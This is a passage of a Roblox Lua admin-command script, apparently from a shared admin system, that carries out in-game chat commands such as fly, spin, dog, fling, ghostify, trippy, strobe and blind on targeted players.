  1611. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1612. else
  1613. bv.velocity = Vector3.new(0,0.1,0)
  1614. end
  1615. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1616. until not flying
  1617. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1618. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1619. speed = 0
  1620. bg:Destroy()
  1621. bv:Destroy()
  1622. plr.Character.Humanoid.PlatformStand = false
  1623. end
  1624. mouse.KeyDown:connect(function(key)
  1625. if key:lower() == "e" then
  1626. if flying then flying = false
  1627. else
  1628. flying = true
  1629. Fly()
  1630. end
  1631. elseif key:lower() == "w" then
  1632. ctrl.f = 1
  1633. elseif key:lower() == "s" then
  1634. ctrl.b = -1
  1635. elseif key:lower() == "a" then
  1636. ctrl.l = -1
  1637. elseif key:lower() == "d" then
  1638. ctrl.r = 1
  1639. end
  1640. end)
  1641. mouse.KeyUp:connect(function(key)
  1642. if key:lower() == "w" then
  1643. ctrl.f = 0
  1644. elseif key:lower() == "s" then
  1645. ctrl.b = 0
  1646. elseif key:lower() == "a" then
  1647. ctrl.l = 0
  1648. elseif key:lower() == "d" then
  1649. ctrl.r = 0
  1650. end
  1651. end)
  1652. Fly()]]
  1653. cl.Parent = v.PlayerGui cl.Disabled = false
  1654. end
  1655. end))
  1656. end
  1657. end
  1658.  
  1659. if msg:lower():sub(1,6) == "unfly " then
  1660. local plrz = GetPlr(plr, msg:lower():sub(7))
  1661. for i, v in pairs(plrz) do
  1662. coroutine.resume(coroutine.create(function()
  1663. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1664. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1665. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1666. wait(.1) v.Character.Humanoid.PlatformStand = false
  1667. end
  1668. end))
  1669. end
  1670. end
  1671.  
  1672. if msg:lower() == "disco" then
  1673. for i, v in pairs(lobjs) do v:Destroy() end
  1674. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1675. game.Lighting.Ambient = color
  1676. game.Lighting.FogColor = color
  1677. until nil]]
  1678. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1679. end
  1680.  
  1681. if msg:lower() == "flash" then
  1682. for i, v in pairs(lobjs) do v:Destroy() end
  1683. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1684. game.Lighting.Ambient = Color3.new(1,1,1)
  1685. game.Lighting.FogColor = Color3.new(1,1,1)
  1686. game.Lighting.Brightness = 1
  1687. game.Lighting.TimeOfDay = 14
  1688. wait(.1)
  1689. game.Lighting.Ambient = Color3.new(0,0,0)
  1690. game.Lighting.FogColor = Color3.new(0,0,0)
  1691. game.Lighting.Brightness = 0
  1692. game.Lighting.TimeOfDay = 0
  1693. until nil]]
  1694. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1695. end
  1696.  
  1697. if msg:lower():sub(1,5) == "spin " then
  1698. local plrz = GetPlr(plr, msg:lower():sub(6))
  1699. for i, v in pairs(plrz) do
  1700. coroutine.resume(coroutine.create(function()
  1701. if v and v.Character and v.Character:findFirstChild("Torso") then
  1702. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1703. local torso = v.Character:findFirstChild("Torso")
  1704. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1705. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1706. until not bg or bg.Parent ~= torso
  1707. end
  1708. end))
  1709. end
  1710. end
  1711.  
  1712. if msg:lower():sub(1,7) == "unspin " then
  1713. local plrz = GetPlr(plr, msg:lower():sub(8))
  1714. for i, v in pairs(plrz) do
  1715. coroutine.resume(coroutine.create(function()
  1716. if v and v.Character and v.Character:findFirstChild("Torso") then
  1717. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1718. end
  1719. end))
  1720. end
  1721. end
  1722.  
  1723. if msg:lower():sub(1,4) == "dog " then
  1724. local plrz = GetPlr(plr, msg:lower():sub(5))
  1725. for i, v in pairs(plrz) do
  1726. coroutine.resume(coroutine.create(function()
  1727. if v and v.Character and v.Character:findFirstChild("Torso") then
  1728. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1729. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1730. v.Character.Torso.Transparency = 1
  1731. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1732. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1733. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1734. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1735. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1736. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1737. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1738. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1739. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1740. end
  1741. end))
  1742. end
  1743. end
  1744.  
  1745. if msg:lower():sub(1,6) == "undog " then
  1746. local plrz = GetPlr(plr, msg:lower():sub(7))
  1747. for i, v in pairs(plrz) do
  1748. coroutine.resume(coroutine.create(function()
  1749. if v and v.Character and v.Character:findFirstChild("Torso") then
  1750. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1751. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1752. v.Character.Torso.Transparency = 0
  1753. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1754. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1755. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1756. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1757. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1758. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1759. end
  1760. end))
  1761. end
  1762. end
  1763.  
  1764. if msg:lower():sub(1,8) == "creeper " then
  1765. local plrz = GetPlr(plr, msg:lower():sub(9))
  1766. for i, v in pairs(plrz) do
  1767. coroutine.resume(coroutine.create(function()
  1768. if v and v.Character and v.Character:findFirstChild("Torso") then
  1769. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1770. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1771. v.Character.Torso.Transparency = 0
  1772. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1773. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1774. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1775. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1776. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1777. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1778. end
  1779. end))
  1780. end
  1781. end
  1782.  
  1783. if msg:lower():sub(1,10) == "uncreeper " then
  1784. local plrz = GetPlr(plr, msg:lower():sub(11))
  1785. for i, v in pairs(plrz) do
  1786. coroutine.resume(coroutine.create(function()
  1787. if v and v.Character and v.Character:findFirstChild("Torso") then
  1788. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1789. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1790. v.Character.Torso.Transparency = 0
  1791. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1792. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1793. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1794. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1795. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1796. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1797. end
  1798. end))
  1799. end
  1800. end
  1801.  
  1802. if msg:lower():sub(1,8) == "bighead " then
  1803. local plrz = GetPlr(plr, msg:lower():sub(9))
  1804. for i, v in pairs(plrz) do
  1805. coroutine.resume(coroutine.create(function()
  1806. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1807. end))
  1808. end
  1809. end
  1810.  
  1811. if msg:lower():sub(1,9) == "minihead " then
  1812. local plrz = GetPlr(plr, msg:lower():sub(10))
  1813. for i, v in pairs(plrz) do
  1814. coroutine.resume(coroutine.create(function()
  1815. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1816. end))
  1817. end
  1818. end
  1819.  
  1820. if msg:lower():sub(1,6) == "fling " then
  1821. local plrz = GetPlr(plr, msg:lower():sub(7))
  1822. for i, v in pairs(plrz) do
  1823. coroutine.resume(coroutine.create(function()
  1824. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1825. local xran local zran
  1826. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1827. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1828. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1829. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1830. end
  1831. end))
  1832. end
  1833. end
  1834.  
  1835. if msg:lower():sub(1,8) == "seizure " then
  1836. local plrz = GetPlr(plr, msg:lower():sub(9))
  1837. for i, v in pairs(plrz) do
  1838. coroutine.resume(coroutine.create(function()
  1839. if v and v.Character then
  1840. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1841. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1842. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1843. end
  1844. end))
  1845. end
  1846. end
  1847.  
  1848. if msg:lower():sub(1,10) == "unseizure " then
  1849. local plrz = GetPlr(plr, msg:lower():sub(11))
  1850. for i, v in pairs(plrz) do
  1851. coroutine.resume(coroutine.create(function()
  1852. if v and v.Character then
  1853. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1854. wait(.1) v.Character.Humanoid.PlatformStand = false
  1855. end
  1856. end))
  1857. end
  1858. end
  1859.  
  1860. if msg:lower():sub(1,12) == "removelimbs " then
  1861. local plrz = GetPlr(plr, msg:lower():sub(13))
  1862. for i, v in pairs(plrz) do
  1863. coroutine.resume(coroutine.create(function()
  1864. if v and v.Character then
  1865. for a, obj in pairs(v.Character:children()) do
  1866. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1867. end
  1868. end
  1869. end))
  1870. end
  1871. end
  1872.  
  1873. if msg:lower():sub(1,5) == "name " then
  1874. local chk1 = msg:lower():sub(6):find(" ") + 5
  1875. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1876. for i, v in pairs(plrz) do
  1877. coroutine.resume(coroutine.create(function()
  1878. if v and v.Character and v.Character:findFirstChild("Head") then
  1879. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1880. local char = v.Character
  1881. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1882. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1883. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1884. char.Head.Transparency = 1
  1885. end
  1886. end))
  1887. end
  1888. end
  1889.  
  1890. if msg:lower():sub(1,7) == "unname " then
  1891. local plrz = GetPlr(plr, msg:lower():sub(8))
  1892. for i, v in pairs(plrz) do
  1893. coroutine.resume(coroutine.create(function()
  1894. if v and v.Character and v.Character:findFirstChild("Head") then
  1895. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1896. end
  1897. end))
  1898. end
  1899. end
  1900.  
  1901. if msg:lower():sub(1,5) == "char " then
  1902. local chk1 = msg:lower():sub(6):find(" ") + 5
  1903. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1904. for i, v in pairs(plrz) do
  1905. coroutine.resume(coroutine.create(function()
  1906. if v and v.Character then
  1907. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1908. v:LoadCharacter()
  1909. end
  1910. end))
  1911. end
  1912. end
  1913.  
  1914. if msg:lower():sub(1,7) == "unchar " then
  1915. local plrz = GetPlr(plr, msg:lower():sub(8))
  1916. for i, v in pairs(plrz) do
  1917. coroutine.resume(coroutine.create(function()
  1918. if v and v.Character then
  1919. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1920. v:LoadCharacter()
  1921. end
  1922. end))
  1923. end
  1924. end
  1925.  
  1926. if msg:lower():sub(1,7) == "infect " then
  1927. local plrz = GetPlr(plr, msg:lower():sub(8))
  1928. for i, v in pairs(plrz) do
  1929. coroutine.resume(coroutine.create(function()
  1930. if v and v.Character then
  1931. Infect(v.Character)
  1932. end
  1933. end))
  1934. end
  1935. end
  1936.  
  1937. if msg:lower():sub(1,11) == "rainbowify " then
  1938. local plrz = GetPlr(plr, msg:lower():sub(12))
  1939. for i, v in pairs(plrz) do
  1940. coroutine.resume(coroutine.create(function()
  1941. if v and v.Character and v.Character:findFirstChild("Torso") then
  1942. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1943. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1944. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1945. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1946. cl.Parent = v.Character cl.Disabled = false
  1947. end
  1948. end))
  1949. end
  1950. end
  1951.  
  1952. if msg:lower():sub(1,9) == "flashify " then
  1953. local plrz = GetPlr(plr, msg:lower():sub(10))
  1954. for i, v in pairs(plrz) do
  1955. coroutine.resume(coroutine.create(function()
  1956. if v and v.Character and v.Character:findFirstChild("Torso") then
  1957. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1958. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1959. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1960. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1961. cl.Parent = v.Character cl.Disabled = false
  1962. end
  1963. end))
  1964. end
  1965. end
  1966.  
  1967. if msg:lower():sub(1,8) == "noobify " then
  1968. local plrz = GetPlr(plr, msg:lower():sub(9))
  1969. for i, v in pairs(plrz) do
  1970. coroutine.resume(coroutine.create(function()
  1971. if v and v.Character then
  1972. Noobify(v.Character)
  1973. end
  1974. end))
  1975. end
  1976. end
  1977.  
  1978. if msg:lower():sub(1,9) == "ghostify " then
  1979. local plrz = GetPlr(plr, msg:lower():sub(10))
  1980. for i, v in pairs(plrz) do
  1981. coroutine.resume(coroutine.create(function()
  1982. if v and v.Character and v.Character:findFirstChild("Torso") then
  1983. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1984. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1985. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1986. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1987. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1988. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1989. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1990. end end
  1991. end
  1992. end))
  1993. end
  1994. end
  1995.  
  1996. if msg:lower():sub(1,8) == "goldify " then
  1997. local plrz = GetPlr(plr, msg:lower():sub(9))
  1998. for i, v in pairs(plrz) do
  1999. coroutine.resume(coroutine.create(function()
  2000. if v and v.Character and v.Character:findFirstChild("Torso") then
  2001. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2002. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2003. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2004. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2005. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2006. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2007. end end
  2008. end
  2009. end))
  2010. end
  2011. end
  2012.  
  2013. if msg:lower():sub(1,6) == "shiny " then
  2014. local plrz = GetPlr(plr, msg:lower():sub(7))
  2015. for i, v in pairs(plrz) do
  2016. coroutine.resume(coroutine.create(function()
  2017. if v and v.Character and v.Character:findFirstChild("Torso") then
  2018. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2019. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2020. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2021. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2022. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2023. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2024. end end
  2025. end
  2026. end))
  2027. end
  2028. end
  2029.  
  2030. if msg:lower():sub(1,7) == "normal " then
  2031. local plrz = GetPlr(plr, msg:lower():sub(8))
  2032. for i, v in pairs(plrz) do
  2033. coroutine.resume(coroutine.create(function()
  2034. if v and v.Character and v.Character:findFirstChild("Torso") then
  2035. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2036. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2037. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2038. v.Character.Torso.Transparency = 0
  2039. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2040. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2041. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2042. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2043. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2044. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2045. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2046. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2047. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2048. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2049. end end
  2050. end
  2051. end))
  2052. end
  2053. end
  2054.  
  2055. if msg:lower():sub(1,7) == "trippy " then
  2056. local plrz = GetPlr(plr, msg:lower():sub(8))
  2057. for i, v in pairs(plrz) do
  2058. coroutine.resume(coroutine.create(function()
  2059. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2060. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2061. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2062. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2063. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2064. end
  2065. end))
  2066. end
  2067. end
  2068.  
  2069. if msg:lower():sub(1,9) == "untrippy " then
  2070. local plrz = GetPlr(plr, msg:lower():sub(10))
  2071. for i, v in pairs(plrz) do
  2072. coroutine.resume(coroutine.create(function()
  2073. if v and v:findFirstChild("PlayerGui") then
  2074. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2075. end
  2076. end))
  2077. end
  2078. end
  2079.  
  2080. if msg:lower():sub(1,7) == "strobe " then
  2081. local plrz = GetPlr(plr, msg:lower():sub(8))
  2082. for i, v in pairs(plrz) do
  2083. coroutine.resume(coroutine.create(function()
  2084. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2085. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2086. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2087. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2088. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2089. end
  2090. end))
  2091. end
  2092. end
  2093.  
  2094. if msg:lower():sub(1,9) == "unstrobe " then
  2095. local plrz = GetPlr(plr, msg:lower():sub(10))
  2096. for i, v in pairs(plrz) do
  2097. coroutine.resume(coroutine.create(function()
  2098. if v and v:findFirstChild("PlayerGui") then
  2099. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2100. end
  2101. end))
  2102. end
  2103. end
  2104.  
  2105. if msg:lower():sub(1,6) == "blind " then
  2106. local plrz = GetPlr(plr, msg:lower():sub(7))
  2107. for i, v in pairs(plrz) do
  2108. coroutine.resume(coroutine.create(function()
  2109. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2110. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2111. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2112. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2113. end
  2114. end))
  2115. end
  2116. end
  2117.  
  2118. if msg:lower():sub(1,8) == "unblind " then
  2119. local plrz = GetPlr(plr, msg:lower():sub(9))
  2120. for i, v in pairs(plrz) do
  2121. coroutine.resume(coroutine.create(function()
  2122. if v and v:findFirstChild("PlayerGui") then
  2123. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2124. end
  2125. end))
  2126. end
  2127. end
  2128.  
  2129. if msg:lower():sub(1,7) == "guifix " then
  2130. local plrz = GetPlr(plr, msg:lower():sub(8))
  2131. for i, v in pairs(plrz) do
  2132. coroutine.resume(coroutine.create(function()
  2133. if v and v:findFirstChild("PlayerGui") then
  2134. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2135. end
  2136. end))
  2137. end
  2138. end
  2139.  
  2140. if msg:lower():sub(1,9) == "loopheal " then
  2141. local plrz = GetPlr(plr, msg:lower():sub(10))
  2142. for i, v in pairs(plrz) do
  2143. if v then
  2144. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2145. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2146. repeat wait()
  2147. coroutine.resume(coroutine.create(function()
